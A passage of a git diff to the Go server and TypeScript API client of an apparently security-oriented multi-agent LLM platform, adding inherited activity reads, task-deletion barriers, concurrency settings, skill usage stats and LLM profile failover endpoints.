before int64, limit int, inherited bool, sourceTaskID int64) ([]*db.Node, bool, error) { + if !inherited { + return store.ListByKindPage(db.KindIntent, before, limit) + } + batch := max(limit, 300) + cursor := before + out := make([]*db.Node, 0, limit+1) + for { + page, more, err := store.ListByKindPage(db.KindIntent, cursor, batch) + if err != nil { + return nil, false, err + } + for _, node := range page { + if !inheritedIntentResult(node.State) { + continue + } + node.SourceTaskID = sourceTaskID + node.Inherited = true + out = append(out, node) + if len(out) > limit { + return out[:limit], true, nil + } + } + if !more || len(page) == 0 { + return out, false, nil + } + cursor = page[len(page)-1].ID + } +} + // explorationGraph returns the whole exploration chain (task graph) as nodes+edges. func (s *Server) explorationGraph(w http.ResponseWriter, r *http.Request) { t := s.m.ResolveTask(r.URL.Query().Get("task")) @@ -1761,8 +2372,36 @@ func (s *Server) explorationGraph(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"nodes": []any{}, "edges": []any{}}) return } - nodes, _ := t.Store.Nodes(2000) - edges, _ := t.Store.Edges(5000) + nodes, err := t.Store.Nodes(2000) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + edges, err := t.Store.Edges(5000) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + sources, err := t.Store.DirectSourceStores() + if err != nil { + writeErr(w, 500, err.Error()) + return + } + for _, source := range sources { + sourceNodes, nodeErr := source.Store.Nodes(2000) + if nodeErr != nil { + writeErr(w, 500, nodeErr.Error()) + return + } + sourceEdges, edgeErr := source.Store.Edges(5000) + if edgeErr != nil { + writeErr(w, 500, edgeErr.Error()) + return + } + sourceNodes, sourceEdges = inheritedGraphSnapshot(sourceNodes, sourceEdges, source.Task.TaskID) + nodes = append(nodes, sourceNodes...) + edges = append(edges, sourceEdges...) + } writeJSON(w, 200, map[string]any{"nodes": taskNodeDTOs(nodes), "edges": edgeDTOs(edges)}) } @@ -1781,7 +2420,16 @@ func (s *Server) activity(w http.ResponseWriter, r *http.Request) { intentPtr = &n } } - items, cursor, err := t.Store.ActivityList(intentPtr, since, limit) + var ( + items []db.Activity + cursor int64 + err error + ) + if intentPtr != nil { + items, cursor, err = t.Store.ActivityListWithSources(*intentPtr, since, limit) + } else { + items, cursor, err = t.Store.ActivityList(nil, since, limit) + } if err != nil { log.Printf("[activity] task=%s since=%d limit=%d intent=%v: %v", t.ID, since, limit, intentPtr, err) writeErr(w, 500, err.Error()) @@ -1809,6 +2457,38 @@ func parseActivitySession(sess string) (db.ActivitySessionFilter, bool) { return db.ActivitySessionFilter{}, false } +// activitySessionStore resolves a worker session against the current task and +// its direct sources. Planner/main always stay local; inherited intent sessions +// are immutable history and use the source exploration only for reads. +func activitySessionStore(t *Task, filter db.ActivitySessionFilter) (*db.ExplorationStore, int64, error) { + if filter.NodeID == nil { + return t.Store, 0, nil + } + node, err := t.Store.GetNodeWithSources(*filter.NodeID) + if err != nil { + return nil, 0, err + } + if node == nil || node.Kind != db.KindIntent { + return nil, 0, nil + } + if !node.Inherited { + return t.Store, 0, nil + } + if !inheritedIntentResult(node.State) { + return nil, 0, nil + } + sources, err := t.Store.DirectSourceStores() + if err != nil { + return nil, 0, err + } + for _, source := range sources { + if source.Task.TaskID == node.SourceTaskID { + return source.Store, source.Task.TaskID, nil + } + } + return nil, 0, nil +} + // activityHistory serves one reverse-paginated page of a session's activity history. // The latest page (no ?before) opens a session; ?before= pulls the older page on // scroll-up. snapshot_cursor is the TASK-level max id at query time — the client uses @@ -1829,18 +2509,43 @@ func (s *Server) activityHistory(w http.ResponseWriter, r *http.Request) { } before := int64(atoiDefault(q.Get("before"), 0)) limit := min(atoiDefault(q.Get("limit"), 200), 500) // cap so one request can't pull an unbounded slice + store, sourceTaskID, err := activitySessionStore(t, filter) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + if store == nil { + writeErr(w, 404, "session not found") + return + } + // The browser tails only this task's broadcaster. Keep the SSE join cursor + // local even when the opened worker transcript comes from a related task. snapshot, err := t.Store.ActivityMaxID() if err != nil { log.Printf("[activity/history] task=%s session=%s snapshot: %v", t.ID, sess, err) writeErr(w, 500, err.Error()) return } - items, hasMore, err := t.Store.ActivityPage(filter, before, limit) + var items []db.Activity + var hasMore bool + if sourceTaskID > 0 { + // Source sessions are readable only while the intent remains terminal. The + // DB query also removes model reasoning/accounting rows from inherited data. + items, hasMore, err = store.ActivityPageForTerminalIntent(*filter.NodeID, before, limit) + } else { + items, hasMore, err = store.ActivityPage(filter, before, limit) + } if err != nil { log.Printf("[activity/history] task=%s session=%s before=%d limit=%d: %v", t.ID, sess, before, limit, err) writeErr(w, 500, err.Error()) return } + if sourceTaskID > 0 { + for i := range items { + items[i].SourceTaskID = sourceTaskID + items[i].Inherited = true + } + } earliest := before if len(items) > 0 { earliest = items[0].ID @@ -1858,7 +2563,11 @@ func (s *Server) activityHistory(w http.ResponseWriter, r *http.Request) { func (s *Server) tokenStats(w http.ResponseWriter, r *http.Request) { t := s.m.ResolveTask(r.URL.Query().Get("task")) if t == nil { - writeJSON(w, 200, map[string]any{"workers": []any{}}) + writeJSON(w, 200, map[string]any{ + "workers": []db.TokenUsage{}, + "sessions": []db.SessionTokenUsage{}, + "total": tokenTotalDTO(db.TokenUsage{}), + }) return } stats, err := t.Store.TokenStatsByWorker() @@ -1866,8 +2575,17 @@ func (s *Server) tokenStats(w http.ResponseWriter, r *http.Request) { writeErr(w, 500, err.Error()) return } - total, _ := t.Store.TokenTotal() // whole-task total (all agents) - writeJSON(w, 200, map[string]any{"workers": stats, "total": tokenTotalDTO(total)}) + sessions, err := t.Store.TokenStatsBySession() + if err != nil { + writeErr(w, 500, err.Error()) + return + } + total, err := t.Store.TokenTotal() // whole-task total (all agents) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + writeJSON(w, 200, map[string]any{"workers": stats, "sessions": sessions, "total": tokenTotalDTO(total)}) } // tokenDailyStats returns global token consumption aggregated by calendar day @@ -2116,7 +2834,7 @@ func (s *Server) activityDetail(w http.ResponseWriter, r *http.Request) { return } seq, _ := strconv.ParseInt(r.PathValue("seq"), 10, 64) - d, err := t.Store.ActivityDetail(seq) + d, err := taskActivityDetail(t, seq) if err != nil { writeErr(w, 500, err.Error()) return @@ -2124,6 +2842,14 @@ func (s *Server) activityDetail(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"detail": d}) } +// taskActivityDetail keeps the legacy local-task behavior (including thinking +// rows), while inherited details are restricted to terminal worker intents. +// This prevents a guessed global activity id from exposing source planner/main +// or in-flight transcripts. +func taskActivityDetail(t *Task, seq int64) (string, error) { + return t.Store.ActivityDetailWithSources(seq) +} + func (s *Server) getTraffic(w http.ResponseWriter, r *http.Request) { tr := s.m.Traffic() if tr == nil { @@ -2281,18 +3007,11 @@ func (s *Server) getSettings(w http.ResponseWriter, r *http.Request) { func (s *Server) settingsPayload() map[string]any { on, backend, braveKey, tavilyKey, proxy := s.m.WebSearch() pyStored, _, _ := s.m.pg.GetSetting(settingPythonInterp) + concOn, concLimit := s.m.ConcurrencyLimit() + if concLimit == 0 { + concLimit = defaultConcurrencyLimit // 关闭时也回显一个合理默认值给 UI + } return map[string]any{ -<<<<<<< Updated upstream - "traffic_capture": s.m.TrafficEnabled(), - "llm_record": s.m.LLMRecordEnabled(), - "web_search_enabled": on, - "web_search_backend": backend, - "brave_key_set": strings.TrimSpace(braveKey) != "", - "tavily_key_set": strings.TrimSpace(tavilyKey) != "", - "web_search_proxy": proxy, // 独立出口代理(http/https/socks5),空=直连 - "python_interpreter": strings.TrimSpace(pyStored), // 用户/自动设的值(空=用运行时检测) - "workers": s.m.Workers(), // 并发工作 agent 数(默认3);对之后启动的任务生效 -======= "traffic_capture": s.m.TrafficEnabled(), "llm_record": s.m.LLMRecordEnabled(), "web_search_enabled": on, @@ -2311,7 +3030,6 @@ func (s *Server) settingsPayload() map[string]any { // 操作约束注入范围(默认都开):把本任务的 allow/deny 约束拼进对应 agent 的系统提示。 "constraints_inject_planner": s.constraintInjectPlanner(), "constraints_inject_worker": s.constraintInjectWorker(), ->>>>>>> Stashed changes } } @@ -2345,8 +3063,6 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) { WebSearchProxy *string `json:"web_search_proxy"` // 独立出口代理(http/https/socks5);null=不改,""=清空 PythonInterp *string `json:"python_interpreter"` // 自定义脚本工具的 python 解释器路径 Workers *int `json:"workers"` // 并发工作 agent 数(>0);对之后启动的任务生效 -<<<<<<< Updated upstream -======= // 任务并发上限:同时「运行中」的任务数上限。关闭=不限;开启后新建任务超限则排队,有空位自动启动。 ConcurrencyEnabled *bool `json:"task_concurrency_enabled"` ConcurrencyLimit *int `json:"task_concurrency_limit"` @@ -2357,7 +3073,6 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) { // 操作约束注入范围开关(默认都开);即时生效(planner/worker 每轮读),无需重建 agent。 ConstraintsInjectPlanner *bool `json:"constraints_inject_planner"` ConstraintsInjectWorker *bool `json:"constraints_inject_worker"` ->>>>>>> Stashed changes } if err := json.NewDecoder(r.Body).Decode(&req); err != nil { writeErr(w, 400, err.Error()) @@ -2381,6 +3096,26 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) { return } } + if req.ConcurrencyEnabled != nil || req.ConcurrencyLimit != nil { + // 部分 PUT:未给的字段用当前值兜底,避免只改一个把另一个重置。 + curOn, curLimit := s.m.ConcurrencyLimit() + if curLimit == 0 { + curLimit = defaultConcurrencyLimit + } + on, limit := curOn, curLimit + if req.ConcurrencyEnabled != nil { + on = *req.ConcurrencyEnabled + } + if req.ConcurrencyLimit != nil { + limit = *req.ConcurrencyLimit + } + if err := s.m.SetConcurrency(on, limit); err != nil { + writeErr(w, 400, err.Error()) + return + } + // 立即协调一次:关闭时放行全部排队,调高上限时补位启动,不必等下一个 tick。 + go s.reconcileConcurrency() + } if req.PythonInterp != nil { if err := s.m.pg.SetSetting(settingPythonInterp, strings.TrimSpace(*req.PythonInterp)); err != nil { writeErr(w, 500, err.Error()) @@ -2395,6 +3130,25 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) { } } changed := false + if req.LLMPoolEnabled != nil { + if err := s.m.SetLLMPoolEnabled(*req.LLMPoolEnabled); err != nil { + writeErr(w, 500, err.Error()) + return + } + changed = true // the provider chain itself changes shape → rebuild + } + if req.LLMPoolBindFallback != nil { + if err := s.m.SetLLMPoolBindFallback(*req.LLMPoolBindFallback); err != nil { + writeErr(w, 500, err.Error()) + return + } + changed = true + } + if req.LLMPoolEnabled != nil || req.LLMPoolBindFallback != nil { + // Pinned tasks' planner/worker and per-profile chat agents hold providers + // built under the OLD switch state — drop them so they pick up the new one. + s.invalidateProfileAgents() + } if req.TrafficCapture != nil { if err := s.m.SetTrafficEnabled(*req.TrafficCapture); err != nil { writeErr(w, 500, err.Error()) @@ -2486,6 +3240,12 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) { writeErr(w, 404, "no active task") return } + if s.engine.IsDeleting(t.ID) { + writeErr(w, 409, "任务正在删除,无法发送新消息") + return + } + // 注意:任务暂停(paused)不拦截主 Agent 对话。主 Agent 编排会话独立于 planner/ + // worker 的暂停,暂停中仍可继续对话(暂停只终止其正在进行的那一轮,见 control())。 var req struct { Message string `json:"message"` Attachments []chatAttachment `json:"attachments,omitempty"` // 方式1 上传的文件(路径相对任务工作目录) @@ -2494,29 +3254,36 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) { writeErr(w, 400, err.Error()) return } + // Admission is serialized with deletion's chat cancellation. Mark every chat + // turn busy before its first activity/file write, including rule-mode turns. + // If deletion wins the race, the second barrier check rejects this request. + s.chatMu.Lock() + if s.engine.IsDeleting(t.ID) { + s.chatMu.Unlock() + writeErr(w, 409, "任务正在删除,无法发送新消息") + return + } + if s.chatBusy[t.ID] { + s.chatMu.Unlock() + writeErr(w, 409, "主 Agent 正在处理上一条消息,请稍候") + return + } + ctx, cancel := context.WithCancelCause(s.ctx) + s.chatBusy[t.ID] = true + s.chatCancel[t.ID] = cancel + s.chatMu.Unlock() + // Persist + broadcast the human turn so the 主 Agent 编排会话 survives page // reloads and updates live: the conversation lives in the activity stream as // worker="mainagent" (the per-task activity table, replayed via SSE). With // attachments, the activity's Detail carries {text, attachments} so the transcript // renders attachment cards. s.engine.emitActivity(t, userActivityWithAttachments("mainagent", req.Message, req.Attachments)) - if ma := s.mainAgentRef(); ma != nil { - // Serialize per task: one main-agent run at a time so concurrent messages - // don't corrupt the shared exp-main transcript. If a prior turn is still - // running, tell the caller to wait rather than starting a racing run. - s.chatMu.Lock() - if s.chatBusy[t.ID] { - s.chatMu.Unlock() - writeErr(w, 409, "主 Agent 正在处理上一条消息,请稍候") - return - } - // Cancellable context so stopChat can abort this turn without affecting - // the server's root context (mirrors the conversation stop pattern). - ctx, cancel := context.WithCancel(s.ctx) - s.chatBusy[t.ID] = true - s.chatCancel[t.ID] = cancel - s.chatMu.Unlock() - + var ma *agent.MainAgent + if s.taskRuntimeAvailable(t, "mainagent") { + ma = s.agentsForTask(t).main + } + if ma != nil { // Run the agent on a per-turn cancellable ctx (NOT r.Context()): the turn can // take minutes (multi-tool loop), and binding it to the request lifecycle meant // a page reload / proxy timeout cancelled it mid-run ("context canceled"). The @@ -2524,11 +3291,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) { // handler returns immediately and the browser never needs to hold the request. go func() { defer func() { - cancel() - s.chatMu.Lock() - delete(s.chatBusy, t.ID) - delete(s.chatCancel, t.ID) - s.chatMu.Unlock() + s.finishTaskChat(t.ID, cancel) }() // emit every step (thinking/tool_use/tool_result/text/result) so the main // agent session shows its work live, like worker/planner. The final answer @@ -2540,7 +3303,10 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) { // taskDir = agent 的工作目录(CWD),与 chatUpload 落盘、ensureRunDir 一致。 taskDir := filepath.Join(s.m.dir, "tasks", t.ID) agentMsg := composeAgentMessage(req.Message, req.Attachments, taskDir) - if _, err := ma.Chat(ctx, maTaskID, s.m.Assets(), t.Store, t.Goal, agentMsg, emit, t.Notify, resume, t.NotifyGoal); err != nil && ctx.Err() == nil { + s.engine.BeginLLMCall(t.ID) + _, err := ma.Chat(ctx, maTaskID, s.m.Assets(), t.Store, t.Goal, agentMsg, emit, t.Notify, resume, t.NotifyGoal) + s.engine.EndLLMCall(t.ID) + if err != nil && ctx.Err() == nil { s.engine.emitActivity(t, db.Activity{Worker: "mainagent", Kind: "text", IsError: true, Summary: "(主 Agent 出错:" + err.Error() + ")"}) } }() @@ -2549,9 +3315,43 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) { } reply := s.fallbackChat(t, req.Message) s.engine.emitActivity(t, db.Activity{Worker: "mainagent", Kind: "text", Summary: reply}) + s.finishTaskChat(t.ID, cancel) writeJSON(w, 200, map[string]any{"reply": reply, "mode": "rule"}) } +func (s *Server) cancelTaskChat(taskID string, cause error) bool { + s.chatMu.Lock() + cancel := s.chatCancel[taskID] + if cancel != nil { + cancel(cause) + } + s.chatMu.Unlock() + return cancel != nil +} + +func (s *Server) finishTaskChat(taskID string, cancel context.CancelCauseFunc) { + cancel(agent.AbortChatTurnFinished) + s.chatMu.Lock() + delete(s.chatBusy, taskID) + delete(s.chatCancel, taskID) + s.chatMu.Unlock() +} + +// taskChatStatus reports the authoritative state of the task's main-agent turn. +// Activity timestamps are not a reliable proxy because a tool or LLM call may run +// for minutes without emitting an intermediate frame. +func (s *Server) taskChatStatus(w http.ResponseWriter, r *http.Request) { + t := s.m.ResolveTask(r.PathValue("id")) + if t == nil { + writeErr(w, http.StatusNotFound, "task not found") + return + } + s.chatMu.Lock() + running := s.chatBusy[t.ID] + s.chatMu.Unlock() + writeJSON(w, http.StatusOK, map[string]bool{"running": running}) +} + // stopChat aborts the in-flight main-agent turn for a task (manual stop button). // Mirrors pgStopConversation: cancels only the current turn; planner/workers are // unaffected and continue running. The user can send a new message immediately. @@ -2561,14 +3361,10 @@ func (s *Server) stopChat(w http.ResponseWriter, r *http.Request) { writeErr(w, 404, "task not found") return } - s.chatMu.Lock() - cancel := s.chatCancel[t.ID] - s.chatMu.Unlock() - if cancel == nil { + if !s.cancelTaskChat(t.ID, agent.AbortChatStoppedByUser) { writeJSON(w, 200, map[string]any{"status": "idle"}) return } - cancel() writeJSON(w, 200, map[string]any{"status": "stopping"}) } diff --git a/server/server_mgmt.go b/server/server_mgmt.go index ccabbfb..fbe2179 100644 --- a/server/server_mgmt.go +++ b/server/server_mgmt.go @@ -5,6 +5,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "io" "log" @@ -66,14 +67,135 @@ func decode(r *http.Request, v any) error { return json.NewDecoder(r.Body).Decod // ---------- tasks (delete) ---------- +const taskDeleteDrainTimeout = 10 * time.Second + +func canonicalTaskID(raw string) (string, bool) { + n, err := strconv.ParseInt(raw, 10, 64) + if err != nil || n <= 0 { + return "", false + } + return strconv.FormatInt(n, 10), true +} + +// beginTaskDelete serializes the delete barrier with pause, resume, admission, +// and FIFO reconciliation. Every lifecycle path rechecks deleting after taking +// concMu, so none can commit a contradictory state once this returns. +func (s *Server) beginTaskDelete(taskID string) bool { + s.concMu.Lock() + defer s.concMu.Unlock() + if s.engine.IsDeleting(taskID) { + return false + } + return s.engine.BeginDelete(taskID) +} + +// abortTaskDelete restores the execution barrier from the committed task row, +// not from the in-memory state observed before deletion began. Keeping the task +// paused on an unreadable row is conservative: a later explicit resume can +// safely recover it without allowing work to escape an uncertain delete. +func (s *Server) abortTaskDelete(taskID string) { + s.concMu.Lock() + defer s.concMu.Unlock() + keepPaused := true + if id, err := strconv.ParseInt(taskID, 10, 64); err == nil && s.m != nil && s.m.pg != nil { + if persisted, getErr := s.m.pg.GetTask(id); getErr == nil && persisted != nil { + keepPaused = persisted.Paused || persisted.Queued + } else if task, ok := s.m.Task(taskID); ok { + state := task.lifecycleSnapshot() + keepPaused = state.Paused || state.Queued + if getErr != nil { + log.Printf("[task-delete] task %s 读取持久状态失败,使用内存状态恢复屏障: %v", taskID, getErr) + } + } else if getErr == nil { + // The request targeted a task that does not exist. Do not retain a + // synthetic pause entry after releasing its temporary delete barrier. + keepPaused = false + } + } + s.engine.AbortDelete(taskID, keepPaused) +} + func (s *Server) pgDeleteTask(w http.ResponseWriter, r *http.Request) { - id := r.PathValue("id") - s.engine.Pause(id) // cancel running loops before removing - if err := s.m.DeleteTask(id); err != nil { + id, ok := canonicalTaskID(r.PathValue("id")) + if !ok { + writeErr(w, http.StatusBadRequest, "任务 id 无效") + return + } + var opts DeleteTaskOptions + if err := decode(r, &opts); err != nil && err != io.EOF { + writeErr(w, 400, "invalid JSON: "+err.Error()) + return + } + if !s.beginTaskDelete(id) { + writeErr(w, http.StatusConflict, "任务正在删除") + return + } + deleted := false + defer func() { + if !deleted { + s.abortTaskDelete(id) + } + }() + + // Main-agent runs use a separate context from planner/workers. Cancel it, then + // wait until both execution domains have returned before removing transcripts. + s.cancelTaskChat(id, agent.AbortTaskDeleted) + drainCtx, cancelDrain := context.WithTimeout(r.Context(), taskDeleteDrainTimeout) + defer cancelDrain() + if err := s.waitTaskQuiescent(drainCtx, id); err != nil { + writeErr(w, http.StatusConflict, "任务仍有运行中的 Agent,删除已取消") + return + } + + result, err := s.m.DeleteTask(id, opts) + if err != nil { + var committed *taskDeleteCommittedError + if errors.As(err, &committed) { + // PostgreSQL is already gone. Complete runtime teardown and return the + // auditable counts together with the post-commit cleanup warning. + s.engine.StopTask(id) + s.taskAgentMu.Lock() + delete(s.taskAgents, id) + s.taskAgentMu.Unlock() + deleted = true + writeCommittedTaskDelete(w, result, err) + return + } writeErr(w, 500, err.Error()) return } - writeJSON(w, 200, map[string]any{"deleted": id}) + // Manager has removed the task from the registry, so no new API operation can + // resolve it. Now stop and join every task-owned Engine goroutine and clear its + // lifecycle maps before releasing the delete barrier. + s.engine.StopTask(id) + s.taskAgentMu.Lock() + delete(s.taskAgents, id) + s.taskAgentMu.Unlock() + deleted = true + writeJSON(w, 200, result) +} + +func writeCommittedTaskDelete(w http.ResponseWriter, result DeleteTaskResult, err error) { + result.CleanupWarning = err.Error() + writeJSON(w, http.StatusOK, result) +} + +func (s *Server) waitTaskQuiescent(ctx context.Context, taskID string) error { + ticker := time.NewTicker(10 * time.Millisecond) + defer ticker.Stop() + for { + s.chatMu.Lock() + chatBusy := s.chatBusy[taskID] + s.chatMu.Unlock() + if s.engine.inflightCount(taskID) == 0 && !chatBusy { + return nil + } + select { + case <-ctx.Done(): + return ctx.Err() + case <-ticker.C: + } + } } // ---------- agents ---------- @@ -305,6 +427,9 @@ func (s *Server) pgSaveAgentConfig(w http.ResponseWriter, r *http.Request) { if profileChanged { s.invalidateProfileAgents() } + // Task bundles capture operational Agent settings (turn/time budgets, tools, + // web search). Rebuild them even when no global profile is configured. + s.invalidateTaskAgents() // rebuild the live agents so the new max_turns/run_seconds/binding apply without a restart. s.cfgMu.Lock() cfg, on := s.llmCfg, s.llmOn @@ -349,8 +474,8 @@ func (s *Server) pgGetAgent(w http.ResponseWriter, r *http.Request) { } writeJSON(w, 200, map[string]any{ "agent": agentDTO(a), "prompt": cur, "variables": vars, "versions": vers, - "visibility": map[string]any{"mcp": mcp, "skill": sk}, - "llm_profiles": llmProfiles, // 可绑定的 LLM 配置候选 + "visibility": map[string]any{"mcp": mcp, "skill": sk}, + "llm_profiles": llmProfiles, // 可绑定的 LLM 配置候选 "wrapup_prompt": a.WrapupPrompt, // 已保存的收尾提示词(空=用内置默认) "wrapup_default": agent.WrapupDefault(a.Key), // 内置默认(供占位/恢复默认) @@ -810,6 +935,12 @@ type skillFileNode struct { Compatibility string `json:"compatibility,omitempty"` MCPs []string `json:"mcps,omitempty"` Files []string `json:"files"` + // Usage ledger (db/skill_usage.go). Calls is 0 and LastUsed nil for a skill that + // was never invoked — the ledger only has rows for skills agents actually loaded. + Calls int `json:"calls"` + Tasks int `json:"tasks"` + Agents []string `json:"usage_agents"` + LastUsed *time.Time `json:"last_used,omitempty"` } func (s *Server) fsListSkills(w http.ResponseWriter, r *http.Request) { @@ -828,13 +959,28 @@ func (s *Server) fsListSkills(w http.ResponseWriter, r *http.Request) { writeErr(w, 500, err.Error()) return } + // Usage is best-effort decoration: a ledger read failure leaves the counts at + // zero rather than failing the skill list itself. + statBySkill := map[string]db.SkillStat{} + if s.m.pg != nil { + stats, err := s.m.pg.SkillStats() + if err != nil { + log.Printf("[skills] 读取调用统计失败: %v", err) + } + for _, st := range stats { + statBySkill[st.Skill] = st + } + } nodes := []skillFileNode{} for _, e := range entries { if !e.IsDir() { continue } dirName := e.Name() - node := skillFileNode{Name: dirName} + node := skillFileNode{Name: dirName, Agents: []string{}} + if st, ok := statBySkill[dirName]; ok { + node.Calls, node.Tasks, node.Agents, node.LastUsed = st.Calls, st.Tasks, st.Agents, st.LastUsed + } if meta, ok := metaByDir[dirName]; ok { node.Description = meta.Description node.License = meta.License @@ -850,6 +996,42 @@ func (s *Server) fsListSkills(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"skills": nodes}) } +// fsSkillUsage returns one skill's recent invocations, newest first (detail panel). +func (s *Server) fsSkillUsage(w http.ResponseWriter, r *http.Request) { + pg := s.pg(w) + if pg == nil { + return + } + name := r.PathValue("name") + if !validSkillName(name) { + writeErr(w, 400, "非法 skill 名") + return + } + limit, _ := strconv.Atoi(r.URL.Query().Get("limit")) + calls, err := pg.RecentSkillCalls(name, limit) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + writeJSON(w, 200, map[string]any{"calls": calls}) +} + +// fsMissingSkills lists skill names agents asked for that do not exist — the gap +// list, i.e. which procedures are worth writing next. +func (s *Server) fsMissingSkills(w http.ResponseWriter, r *http.Request) { + pg := s.pg(w) + if pg == nil { + return + } + limit, _ := strconv.Atoi(r.URL.Query().Get("limit")) + missing, err := pg.MissingSkillStats(limit) + if err != nil { + writeErr(w, 500, err.Error()) + return + } + writeJSON(w, 200, map[string]any{"missing": missing}) +} + // cleanStrs trims each string and drops empties. func cleanStrs(in []string) []string { out := make([]string, 0, len(in)) @@ -1560,12 +1742,14 @@ func (s *Server) pgSaveProfile(w http.ResponseWriter, r *http.Request) { writeErr(w, 500, err.Error()) return } - // Editing a profile rebuilds any task pinned to it on its next round. + // Editing a profile rebuilds any task pinned to it on its next round. Reapply + // the active profile too: the global fallback and explicit task chains must + // repopulate the same provider-cache entry and therefore share one limiter. s.invalidateProfileAgents() - // If we just edited the active profile, hot-apply so changes take effect now. - if act, _ := pg.ActiveProfile(); act != nil && act.ID == id { - s.reapplyActiveProfile() - } + // Hot-apply. Not just when the ACTIVE profile changed: with failover on, any + // profile's key/model/priority/pool_exclude edit reshapes the chain, so the + // engine's provider has to be rebuilt either way. + s.reapplyActiveProfile() writeJSON(w, 200, map[string]any{"id": id}) } @@ -1575,14 +1759,50 @@ func (s *Server) pgDeleteProfile(w http.ResponseWriter, r *http.Request) { return } id, _ := pathInt(r, "id") - if err := pg.DeleteProfile(id); err != nil { - writeErr(w, 500, err.Error()) + if err := pg.DeleteProfileContext(r.Context(), id); err != nil { + switch { + case errors.Is(err, db.ErrActiveLLMProfileDelete): + writeErr(w, 409, "当前激活的 LLM 配置不能删除,请先激活其他配置") + case errors.Is(err, db.ErrLLMProfileReferencesChanged): + writeErr(w, 409, "LLM 配置正在被任务或会话修改,请重试") + case errors.Is(err, context.DeadlineExceeded): + writeErr(w, 409, "等待 LLM 配置引用释放超时,请重试") + case errors.Is(err, db.ErrLLMProfileNotFound): + writeErr(w, 404, err.Error()) + default: + writeErr(w, 500, err.Error()) + } return } s.invalidateProfileAgents() // drop cached agents for the removed profile + s.llmHealth.Reset(id) // its breaker state is meaningless now (row is FK-cascaded away) + s.restoreTasksAfterProfileDelete(pg) + // Cache invalidation also removed the active profile's shared provider entry. + // Reapply after task-state sync so the wake-up observes the post-delete chain. + s.reapplyActiveProfile() writeJSON(w, 200, map[string]any{"deleted": id}) } +func (s *Server) restoreTasksAfterProfileDelete(pg *db.DB) { + for _, task := range s.m.List() { + if taskID, err := strconv.ParseInt(task.ID, 10, 64); err == nil { + if pt, err := pg.GetTask(taskID); err == nil && pt != nil { + s.syncTaskLLMState(pt) + // Deleting the active entry may advance the task to a ready successor, + // or clear the explicit chain and restore its Agent/global fallback. + // Resume only intents that were blocked by the exhausted chain; a + // paused task remains paused and terminal tasks remain immutable. + if !isTerminalStatus(task.lifecycleSnapshot().Status) && s.taskRuntimeAvailable(task, "planner", "worker") { + if _, reopenErr := task.Store.ReopenIntentsByBlockedReason(db.IntentBlockedLLMQuota); reopenErr != nil { + log.Printf("[llm-profile] task %s reopen quota-blocked intents after profile delete: %v", task.ID, reopenErr) + } + } + task.Notify() + } + } + } +} + func (s *Server) pgActivateProfile(w http.ResponseWriter, r *http.Request) { pg := s.pg(w) if pg == nil { @@ -1604,6 +1824,40 @@ func (s *Server) pgActivateProfile(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, map[string]any{"ok": true}) } +// pgLLMPoolStatus reports the failover ("轮询") switches, the resolved chain order +// and every profile's circuit-breaker state — what the LLM page renders as the +// "轮询顺序" strip and the per-card health badges. +func (s *Server) pgLLMPoolStatus(w http.ResponseWriter, r *http.Request) { + if s.pg(w) == nil { + return + } + writeJSON(w, 200, s.llmPoolStatus()) +} + +// pgLLMPoolReset clears a tripped profile's circuit breaker so the next call +// tries it again immediately ("立即恢复"). id=0 clears every profile. +func (s *Server) pgLLMPoolReset(w http.ResponseWriter, r *http.Request) { + pg := s.pg(w) + if pg == nil { + return + } + var body struct { + ID int64 `json:"id"` // 0 / omitted = all + } + if err := decode(r, &body); err != nil { + writeErr(w, 400, err.Error()) + return + } + if body.ID > 0 { + s.llmHealth.Reset(body.ID) + } else { + for id := range s.llmHealth.Snapshot() { + s.llmHealth.Reset(id) + } + } + writeJSON(w, 200, s.llmPoolStatus()) +} + // pgListModels fetches available models from the provider's API endpoint. // Supports OpenAI-format (GET /models) and Anthropic-format (GET /v1/models); for // Anthropic-compatible third parties (e.g. DeepSeek) whose model list lives only on diff --git a/web/src/lib/api.ts b/web/src/lib/api.ts index cacbe72..927dce4 100644 --- a/web/src/lib/api.ts +++ b/web/src/lib/api.ts @@ -6,17 +6,6 @@ import { MOCK } from "@/lib/mock/enabled"; import { mockHandle } from "@/lib/mock/handler"; import type { -<<<<<<< Updated upstream - Task, Stats, Asset, AssetNode, Edge, Company, TaskNode, Finding, Severity, FindingStatus, - FindingsPage, FindingStats, FindingQuery, Activity, - Audit, TrafficResp, TrafficDetail, TrafficHost, Settings, LLMProfile, Agent, AgentDetail, PromptVar, - PromptVersion, MCPServer, MCPTool, SkillItem, TokenUsage, TokenTotal, DailyTokenBucket, - Tool, Conversation, AgentTrigger, ChatAttachment, - InterceptRule, InterceptPending, InterceptApprovalRow, - TaskAssetView, SSProject, SSTask, ConvTokenSummary, CoverageGraphData, CoverageAssetRefs, - WorkspaceListing, WorkspaceFile, - CommandRecord, LLMRecordItem, LLMRecordDetail, LLMTask, -======= Activity, Agent, AgentDetail, @@ -43,6 +32,7 @@ import type { FindingStats, FindingStatus, FindingsPage, + IntentAsset, InterceptApprovalRow, InterceptPending, InterceptRule, @@ -67,6 +57,9 @@ import type { SSTask, Stats, Task, + TaskAssetMutation, + TaskAssetScopeMutation, + TaskCategory, TaskConstraint, TaskGoal, TaskLLMResolutions, @@ -82,7 +75,6 @@ import type { UsageStats, WorkspaceFile, WorkspaceListing, ->>>>>>> Stashed changes } from "@/lib/types"; function getToken(): string | null { @@ -109,7 +101,19 @@ async function http(path: string, init?: RequestInit): Promise { } throw new Error("未授权"); } - if (!r.ok) throw new Error(`${init?.method ?? "GET"} 